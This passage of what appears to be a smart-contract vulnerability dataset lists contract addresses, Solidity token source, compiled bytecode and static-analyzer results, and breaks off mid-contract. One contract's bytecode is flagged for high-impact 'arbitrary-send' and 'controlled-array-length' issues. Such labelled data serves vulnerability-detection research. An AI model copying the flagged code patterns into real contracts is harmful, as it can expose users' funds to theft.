604080832060ff88168452600601909152902060019081018054928716929091908110611b4a57fe5b600091825260209091200154600160a060020a0316145b15611c7757600160a060020a03841660009081526020818152604080832060ff8716845260060190915290206001908101541415611c0b57600160a060020a0384811660009081526020818152604080832060ff8816808552600690910183529281902060040154815160028152928301939093526005828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a3611c77565b600160a060020a0384811660009081526020818152604080832060ff881680855260069182018452938290206004015482516002815293840194909452828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a35b61172b858385612130565b600160a060020a0384811660009081526020818152604080832060ff8816808552600690910183529083206002810180546001810182559085529284209092018054600160a060020a0319168a8616179055909152600501541615611e6c57600160a060020a03841660009081526020818152604080832060ff871684526006019091529020600190810180549091908110611d1a57fe5b6000918252602080832090910154600160a060020a038781168452838352604080852060ff891686526006019093529183206001018054929091169290918110611d6057fe5b600091825260209091200154600160a060020a0316148015611dd75750600160a060020a0384811660009081526020818152604080832060ff881684526006019091528120600581015460019091018054919093169291908110611dc057fe5b600091825260209091200154600160a060020a0316145b15611df457611de98585856001612582565b61172b858585612130565b600160a060020a0384811660009081526020818152604080832060ff881684526006019091528120600581015460019091018054919093169291908110611e3757fe5b600091825260209091200154600160a060020a03161415611e5f57611de98585856001612582565b611de98585856000612582565b600160a060020a0384811660009081526020818152604080832060ff88168452600601909152902060019081018054928816929091908110611eaa57fe5b600091825260209091200154600160a060020a03161415611ed257611de98585856000612582565b600160a060020a0384811660009081526020818152604080832060ff8816845260060190915281206001018054928816929091908110611f0e57fe5b600091825260209091200154600160a060020a03161415611f3657611de98585856001612582565b600160a060020a03841660009081526020818152604080832060ff871684526006019091528120600190810180548392908110611f6f57fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822060ff881680845260069182018352848420600190810154968b1685528484528585209185529101909152918120909101805482919082908110611fd757fe5b6000918252602080832090910154600160a060020a03168352828101939093526040918201812060ff8816825260060190925290206001015411612027576120228585856000612582565b612034565b6120348585856001612582565b61203f858585612130565b5050505050565b60008061205586868686612cb7565b60ff8516600090815260066020526040808220549051939550919350600160a060020a0385169282156108fc029291818181858888f1935050505015156120d257604051600160a060020a03831690303180156108fc02916000818181858888f193505050501580156120cc573d6000803e3d6000fd5b50612128565b8015612128576040805160ff8087168252851660208201528151600160a060020a0380861693908916927ff0ddc65c0d411f042f723dcfa1b7d13e85a35b7b70761d447c6500411cacf328929081900390910190a35b505050505050565b600160a060020a03821660009081526020818152604080832060ff8516845260060190915281206002015460609190600411156121745761172b8486600286612046565b600160a060020a0380851660009081526020818152604080832060ff881680855260069182018452828520549095168452838352818420948452939093018152908290206001018054835181840281018401909452808452909183018282801561220757602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116121e9575b505050505091508151600214156123705783600160a060020a031682600081518110151561223157fe5b90602001906020020151600160a060020a03161480612279575083600160a060020a031682600181518110151561226457fe5b90602001906020020151600160a060020a0316145b156122db57600160a060020a0380851660008181526020818152604080832060ff891680855260069182018452828520549096168452838352818420958452949094019052919091206005018054600160a060020a0319169091179055612370565b8151600114156123705783600160a060020a03168260008151811015156122fe57fe5b90602001906020020151600160a060020a0316141561237057600160a060020a0380851660008181526020818152604080832060ff891680855260069182018452828520549096168452838352818420958452949094019052919091206005018054600160a060020a03191690911790555b6040805160008082526020808301808552600160a060020a038916835282825284832060ff8916845260060190915292902090516123b49260019092019190612e79565b506040805160008082526020808301808552600160a060020a038916835282825284832060ff8916845260060190915292902090516123f99260029092019190612e79565b50600160a060020a03841660009081526020818152604080832060ff80881685526006820184528285206005018054600160a060020a031916905560018801811685526004909101909252909120541615801561245a575060ff8316600c14155b1561249557600160a060020a03841660009081526020818152604080832060ff871684526006019091529020600301805460ff191660011790555b600160a060020a0380851660008181526020818152604080832060ff8916845260060190915290206004018054600101905560055490911614612528576124dc8484610fe6565b604080516002815260ff861660208201528151929350600160a060020a03808916938186169391891692600080516020612f2683398151915292908290030190a461172b8482856114ad565b600554604080516002815260ff861660208201528151600160a060020a03808a1694600094911692600080516020612f26833981519152929081900390910190a460055461203f90600160a060020a031686600286612046565b80151561292057600160a060020a03831660009081526020818152604080832060ff8616845260060190915281206001018054829190829081106125c257fe5b600091825260208083209190910154600160a060020a039081168452838201949094526040928301822060ff871680845260069182018352848420600190810180548083018255908652848620018054600160a060020a0319168c891617905595891684528383528484209084520190529081209091018054909190811061264657fe5b6000918252602080832090910154600160a060020a038681168452838352604080852060ff8816865260060190935291832060010180549183169392881692600080516020612f0683398151915292600292889291829190829081106126a857fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822060ff8c1680845260069182018352848420600190810154968f168552848452858520918552910190915291812090910180548291908290811061271057fe5b6000918252602080832090910154600160a060020a03168352828101939093526040918201812060ff808d16835260069091018452908290206004015482519682168752948116928601929092529116838201526060830191909152519081900360800190a3600160a060020a0380841660008181526020818152604080832060ff88168452600601909152812060010180549293881692600080516020612f06833981519152926002928892829190829081106127ca57fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822060ff8c1680845260069182018352848420600190810154968f168552848452858520918552910190915291812090910180546002909301928291908290811061283857fe5b6000918252602080832090910154600160a060020a03168352828101939093526040918201812060ff808d16835260069091018452908290206004015482519682168752948116928601929092529116838201526060830191909152519081900360800190a3600160a060020a03831660009081526020818152604080832060ff861684526006019091528120600101805490919081106128d557fe5b6000918252602080832090910154600160a060020a038781168452838352604080852060ff88168652600601909352919092208054600160a060020a03191691909216179055610fe0565b600160a060020a03831660009081526020818152604080832060ff86168452600601909152812060019081018054839290811061295957fe5b600091825260208083209190910154600160a060020a039081168452838201949094526040928301822060ff871680845260069182018352848420600190810180548083018255908652848620018054600160a060020a0319168c89161790559589168452838352848420908452019052208101805490919081106129da57fe5b6000918252602080832090910154600160a060020a038681168452838352604080852060ff88168652600601909352918320600190810180549284169493891693600080516020612f0683398151915293600293899383929091908110612a3d57fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822060ff8c1680845260069182018352848420600190810154968f168552848452858520918552910190915291812082018054919283928110612aa357fe5b6000918252602080832090910154600160a060020a03168352828101939093526040918201812060ff808d16835260069091018452908290206004015482519682168752948116928601929092529116838201526060830191909152519081900360800190a3600160a060020a0380841660008181526020818152604080832060ff881684526006019091528120600190810180549394891693600080516020612f068339815191529360029389939192839291908110612b6057fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822060ff8c1680845260069182018352848420600190810154968f168552848452858520918552910190915291812082018054600490940193919283928110612bcc57fe5b6000918252602080832090910154600160a060020a03168352828101939093526040918201812060ff808d16835260069091018452908290206004015482519682168752948116928601929092529116838201526060830191909152519081900360800190a3600160a060020a03831660009081526020818152604080832060ff861684526006019091529020600190810180549091908110612c6b57fe5b6000918252602080832090910154600160a060020a038781168452838352604080852060ff88168652600601909352919092208054600160a060020a0319169190921617905550505050565b6000808581600160ff87161415612d8e575b600160a060020a03821660009081526020818152604080832060ff808a1685526005909101909252909120600201541615612d7e57604080516001815260ff871660208201528151600160a060020a03808b1693908616927ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709929081900390910190a350600160a060020a0390811660009081526020818152604080832060ff88168452600501909152902054166001612d89565b818193509350612e43565b612cc9565b600160a060020a03821660009081526020818152604080832060ff808a1685526006909101909252909120600301541615612d7e57604080516002815260ff871660208201528151600160a060020a03808b1693908616927ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709929081900390910190a350600160a060020a0390811660009081526020818152604080832060ff88168452600601909152902054166001612d8e565b505094509492505050565b606060405190810160405280600081526020016000600160a060020a03168152602001600081525090565b828054828255906000526020600020908101928215612ece579160200282015b82811115612ece5782518254600160a060020a031916600160a060020a03909116178255602090920191600190910190612e99565b50612eda929150612ede565b5090565b612f0291905b80821115612eda578054600160a060020a0319168155600101612ee4565b9056007251ddd24a4774def228b0c696d488e299a8004160467b40d3d75f0ee7989bd3a00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6a165627a7a72305820417a2b0208b5b5225fb2e88016c7704b3698392c911560950d9c7d43a950a0aa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,303
0xc9a8edb74aa3378ceadf393d0961837e5258aeb6
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract STOEIC is ERC20, ERC20Detailed, ERC20Burnable { uint256 public constant INITIAL_SUPPLY = 40000000000 * 10**18; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("SANTA TOEIC COIN", "STOEIC", 18) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f55780632ff2e9dc1461027a578063313ce567146102a557806339509351146102d657806342966c681461033b57806370a082311461036857806379cc6790146103bf57806395d89b411461040c578063a457c2d71461049c578063a9059cbb14610501578063dd62ed3e14610566575b600080fd5b3480156100e157600080fd5b506100ea6105dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067f565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df6107ac565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f6109be565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba6109ce565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e257600080fd5b50610321600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e5565b604051808215151515815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610c1c565b005b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c29565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b5061040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c71565b005b34801561041857600080fd5b50610421610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610461578082015181840152602081019050610446565b50505050905090810190601f16801561048e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a857600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d21565b604051808215151515815260200191505060405180910390f35b34801561050d57600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f58565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f6f565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bc57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b600061084782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108d2848484611017565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6b813f3978f89409844000000081565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2257600080fd5b610ab182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b610c263382611204565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c7b8282611358565b5050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d5e57600080fd5b610ded82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610f65338484611017565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561100857600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561105357600080fd5b6110a4816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611137816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082840190508381101515156111fa57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561124057600080fd5b61125581600254610ff690919063ffffffff16565b6002819055506112ac816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6113e781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114718282611204565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a350505600a165627a7a723058209304eb3b8b9240462082ce871ff3f96be28b82909bfb47c00baaf08037ee77260029
{"success": true, "error": null, "results": {}}
8,304
0xb82ba53dc7e9dda8710b66ec45a29cbb4d847965
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param 